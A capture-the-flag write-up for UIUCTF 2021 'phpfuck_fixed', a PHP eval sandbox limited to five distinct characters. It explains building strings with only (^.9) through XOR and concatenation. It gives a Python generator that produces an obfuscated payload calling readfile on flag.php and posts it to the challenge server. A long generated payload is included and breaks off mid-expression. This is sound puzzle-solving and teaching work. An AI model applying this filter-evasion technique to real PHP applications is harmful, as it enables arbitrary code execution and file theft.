phpfuck_fixed

Description

i really really hate php...

Understanding the problem

phpfuck_fixed was a task from the UIUCTF 2021 that had the appearance of a classic jail challenge.
1
<?php
2
// Flag is inside ./flag.php :)
3
($x=str_replace("`","",strval($_REQUEST["x"])))&&strlen(count_chars($x,3))<=5?print(eval("return $x;")):show_source(__FILE__)&&phpinfo();
Copied!
The goal is clear: read the flag hidden inside flag.php. In order to achieve that, we can send a payload that will be evaluated, if and only if it uses up to only 5 distinct characters in total.
Doing a bit of research, we become aware there exists a PHPfuck tool, which, similarly to other tools of this kind (such as JSfuck), allows to convert any PHP script into a script that runs the same but with only 7 distinct characters.
At this point, there are two plausible options:
  • There's a way, in the challenge, to somehow bypass this restriction
  • The author actually wants us to push the concept of PHPfuck to the extreme :)
More research about such puzzles does not yield anything interesting; it seems like 7 characters really is the lowest amount of characters for which there exists a public proof of concept (at the moment of the CTF of course).
Likewise, we are unable to find any workaround to the count_chars condition. We're gonna need to get creative!
This challenge lived an entire day without a solve, which led the organizers to release a hint: (^.9).
From this hint, we understand the author's solution uses this charset (but there are probably other solutions... what's so special about 9 anyways? :^)).
I will present my solution which also uses this charset. Although I have seen other solutions that are much simpler, I think sharing my resolution approach is still interesting.

Gathering primitives

So what can we do with these characters: (^.9) ?
Parenthesis will obviously be used for function calling; there's no other way we would achieve it without them.
^ is the XOR operator, and . the concatenation operator, which can also be used for defining floating numbers.
Afraid of missing anything important, I checked out the actual PHP grammar (Zend Engine) to see whether these two characters could be used in any other context. We can see . can also be used for ellipsis (...), which is used in function calls and definitions (though this will not prove to be useful for us). Other than that, we are free to go!
Let's perform some tests to assess what we can easily reach with the suggested charset.
  • 9, 99, 999...: integers with "9".
  • .9, 9.9, 9.99: floats with "9", including "0.9".
  • 999999999999999999... (with enough nines): "1.0E+1500" (for instance) – scientific notation for large floats.
  • 999999999999999999... (with even more nines): "INF" (float).
We can use . to cast these into strings:
  • (9).(9): string "99"
  • (9999999999999...).(9): string "INF9"
  • (.9).(9): string "0.99"
However, we notice we are not able yet to generate a string of length 1.
What about XOR? We can basically perform two kinds of operations:
  • XOR between integers: 9^99 yields 106.
  • XOR between strings: ((9).(9))^((9).(9)) yields "\x00\x00" (two null bytes).
Newly generated numbers can be XORed again or cast into strings, etc.
We start noticing something very annoying: since in PHP, XORing two strings results in a string of length minimum of the length of these two strings (null-byte padding), we will never be able to generate a string of length 1 with XOR without already having one.
So either we find a way to easily get a length-1 string (I couldn't find one), or we will have to start generating payloads using strings of length 2 or more.
With this in mind, I gathered a few primitive expressions and started coding.

Generating length-2 strings

My first goal was to generate the largest amount of length-2 strings that I could using my primitive expressions.
1
primitives = {
2
(0, 0): "(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
3
(0x09, 0x17): "((.9).(9)^(9).(9))",
4
(0x30, 0x2e): "(.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
5
(0x39, 0x2e): "(9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
6
(0x39, 0x39): "((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
7
(0x39, 0x30): "((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
8
(0x35, 0x37): "((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
9
(0x31, 0x2e): "((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
10
(73, 78): "((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
11
(0x39, 0x39): "((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
12
(0x39, 0x30): "((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
13
(0x39, 0x00): "(9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
14
}
15
16
primitives_int = {
17
9: "9",
18
99: "99",
19
}
Copied!
The idea is to keep track of:
  • a set of the length-2 strings I am able to generate;
  • a set of the integers I am able to generate.
Then at each iteration, I try to generate new elements (length-2 strings or integers) using my two sets, using XORs and string casting.
Once I am unable to generate any new element anymore, the search stops and I have a list of all the length-2 strings I can reach.
My full code will be included at the end of the write-up. Caution: it's not very pretty.
As I did not have enough primitives, I could not reach every pair of bytes (not even every pair of printable ASCII characters), but I had enough to start crafting interesting payloads.
Thanksfully, PHP is lax enough to allow calling functions in a case-insensitive fashion (such as fIle_gEt_CoNTENtS()).
My final goal was to call readfile("flag.php"). Luckily, I was able to generate the string reAdFiLe with my pairs.
However, the hardest part is to generate a string for flag.php, since it is case sensitive.

Generating length-1 strings

I didn't manage to generate enough pairs to reach the string flag.php, so I decided to try to generate length-1 strings instead.
Indeed, once we know how to generate a length-1 string, we instantly have an arbitrary string primitive (char by char).
There are many ways to do it; mine was to use the trim function. I knew how to generate the pairs tr, Im and "> " (ends with a space). By calling trIm("> "), trim gets rid of the space and we get the string ">" of length 1.
We can then generate a length-1 null byte string:
1
trim = conv_string_even("trIm")
2
truc = conv_string_even("> ")
3
one_byte = trim + "(" + truc + ")"
4
null_byte = one_byte + "^" + one_byte
Copied!

Final payload

At this point, I wanted to find a quick way to finish the challenge without too much pain.
Therefore, I didn't go to the extent of trying to get an "arbitrary PHP script execution", like the original PHPfuck tool can do, although it is clearly doable.
Instead, I just wanted to generate the flag.php string to call readfile and get the flag.
However, I didn't have enough primitives from the start, so there were a few chars that I had struggle generating, such as the "." (or maybe there's a flaw in my algorithm?).
My final payload is thus slightly more convoluted:
1
strtolower = conv_string_even("strtOlOwEr")
2
readfile = conv_string_even("reAdFiLe")
3
4
payload = (
5
readfile+"(" +
6
strtolower + "(" +
7
conv_string_even("FlAg") + "." +
8
"(" + trim + "(" + conv_string_even("\t.") + "))" + "." +
9
conv_string_even("ph") + "." +
10
conv_string("p")
11
+ ")"
12
+ ")"
13
)
Copied!
conv_string_even is the original conversion function that works on pairs of characters. conv_string looks for a position-0 character in the pairs I know how to generate and uses XOR with the length-1 null byte to cut the pair.
The final payload is 36374 bytes. This is way too big to be passed through a GET parameter. Thanksfully, the challenge uses $_REQUEST, which means we can send our payload through POST and get the flag!
1
<?php /* uiuctf{pl3as3_n0_m0rE_pHpee_9f4e3058} */ ?>
2
No flag for you!
3
70
Copied!
Here's the full script along with the final payload, for your eyes only:
1
import requests
2
3
primitives = {
4
(0, 0): "(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
5
(0x09, 0x17): "((.9).(9)^(9).(9))",
6
(0x30, 0x2e): "(.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
7
(0x39, 0x2e): "(9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
8
(0x39, 0x39): "((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
9
(0x39, 0x30): "((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
10
(0x35, 0x37): "((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
11
(0x31, 0x2e): "((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
12
(73, 78): "((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
13
(0x39, 0x39): "((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
14
(0x39, 0x30): "((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
15
(0x39, 0x00): "(9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
16
}
17
18
primitives_int = {
19
9: "9",
20
99: "99",
21
}
22
23
I = set(primitives.keys())
24
K = set(primitives_int.keys())
25
26
D = {}
27
D_int = {}
28
29
while True:
30
old_len = len(I)
31
old_len2 = len(K)
32
J = set(I)
33
L = set(K)
34
for p, q in I:
35
for r, s in I:
36
t = (p ^ r, q ^ s)
37
if t not in J:
38
print(
39
f"(0x{p:02x}, 0x{q:02x}) ^ (0x{r:02x}, 0x{s:02x}) = (0x{t[0]:02x}, 0x{t[1]:02x})")
40
J.add(t)
41
D[t] = ((p, q), (r, s))
42
if t[0] in range(0x31, 0x3a) and t[1] in range(0x30, 0x3a):
43
n = 10 * (t[0] - 0x30) + (t[1] - 0x30)
44
if n not in K:
45
K.add(n)
46
D_int[n] = ((p, q), (r, s), "string")
47
L = set(K)
48
for p, q in I:
49
for c in K:
50
c_ = str(c)
51
if len(c_) < 2:
52
continue
53
r, s = ord(c_[0]), ord(c_[1])
54
t = (p ^ r, q ^ s)
55
if t not in J:
56
print(
57
f"(0x{p:02x}, 0x{q:02x}) ^ (0x{r:02x}, 0x{s:02x}) = (0x{t[0]:02x}, 0x{t[1]:02x})")
58
J.add(t)
59
D[t] = ((p, q), (r, s), "int") # tag (r, s) as int
60
L = set(K)
61
for a in K:
62
for b in K:
63
c = a ^ b
64
if c not in L:
65
print(f"{a} ^ {b} = {c} -> '{str(c)[:2]}'")
66
L.add(c)
67
D_int[c] = (a, b)
68
if len(J) == old_len and len(L) == old_len2:
69
break
70
I = set(J)
71
K = set(L)
72
73
J = list(J)
74
J.sort()
75
J = J[::-1]
76
77
print('\n'.join(repr(bytes(x)) for x in J))
78
print(', '.join(str(x) for x in L))
79
print()
80
81
82
def flatten(term, type="string"):
83
if term not in D.keys() and type == "string":
84
return primitives[term]
85
if term not in D_int.keys() and type == "int":
86
return primitives_int[term]
87
88
if type == "string":
89
Q_is_int = False
90
if len(D[term]) == 3 and D[term][2] == "int":
91
Q_is_int = True
92
P, Q = D[term][:2]
93
P_ = flatten(P)
94
if Q_is_int:
95
Q_ = flatten(10 * (Q[0] - 0x30) + (Q[1] - 0x30), type="int")
96
else:
97
Q_ = flatten(Q)
98
if P_ is None:
99
P_ = repr(P)
100
if Q_ is None:
101
Q_ = repr(Q)
102
return f"({P_})^(({Q_}).(.9))"
103
104
if type == "int":
105
are_strings = False
106
if len(D_int[term]) == 3 and D_int[term][2] == "string":
107
are_strings = True
108
P, Q = D_int[term][:2]
109
P_ = flatten(P, type=("string" if are_strings else "int"))
110
Q_ = flatten(Q, type=("string" if are_strings else "int"))
111
xor_0 = "" if are_strings else "^(9^9)"
112
return f"({P_}{xor_0})^({Q_}{xor_0})"
113
114
115
def conv_string_even(s):
116
assert len(s) % 2 == 0
117
out = ""
118
for i in range(0, len(s), 2):
119
pair = (ord(s[i]), ord(s[i + 1]))
120
out += "(" + flatten(pair) + ")" + "."
121
return "("+out[:-1]+")"
122
123
124
trim = conv_string_even("trIm")
125
truc = conv_string_even("> ")
126
one_byte = trim + "(" + truc + ")"
127
null_byte = one_byte + "^" + one_byte
128
129
# exec = conv_string_even("ExEc")
130
strtolower = conv_string_even("strtOlOwEr")
131
readfile = conv_string_even("reAdFiLe")
132
133
134
def conv_string(s):
135
global null_byte
136
out = ""
137
for char in s:
138
found = False
139
for pair in D.keys():
140
if pair[0] == ord(char):
141
found = True
142
break
143
if not found:
144
print(f"Could not find {ord(char)} :(")
145
return
146
out += flatten(pair) + "^" + null_byte + "."
147
return "(" + out[:-1] + ")"
148
149
150
payload = (
151
readfile+"(" +
152
strtolower + "(" +
153
conv_string_even("FlAg") + "." +
154
"(" + trim + "(" + conv_string_even("\t.") + "))" + "." +
155
conv_string_even("ph") + "." +
156
conv_string("p")
157
+ ")"
158
+ ")"
159
)
160
161
print(payload)
162
assert len(set(payload)) <= 5
163
print(len(payload))
164
165
url = "http://phpfuck-fixed.chal.uiuc.tf/"
166
167
r = requests.post(url, data={"x": payload}).text
168
print(r)
169
170
"""
171
((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9))).(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))).(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((9^(9^9))^(99^(9^9))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9))).(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))))(((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9))).(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9))).((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(9^(9^9))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9)))^((((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(.9))).((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((9^(9^9))^(99^(9^9))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9))).(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999).(9))^(((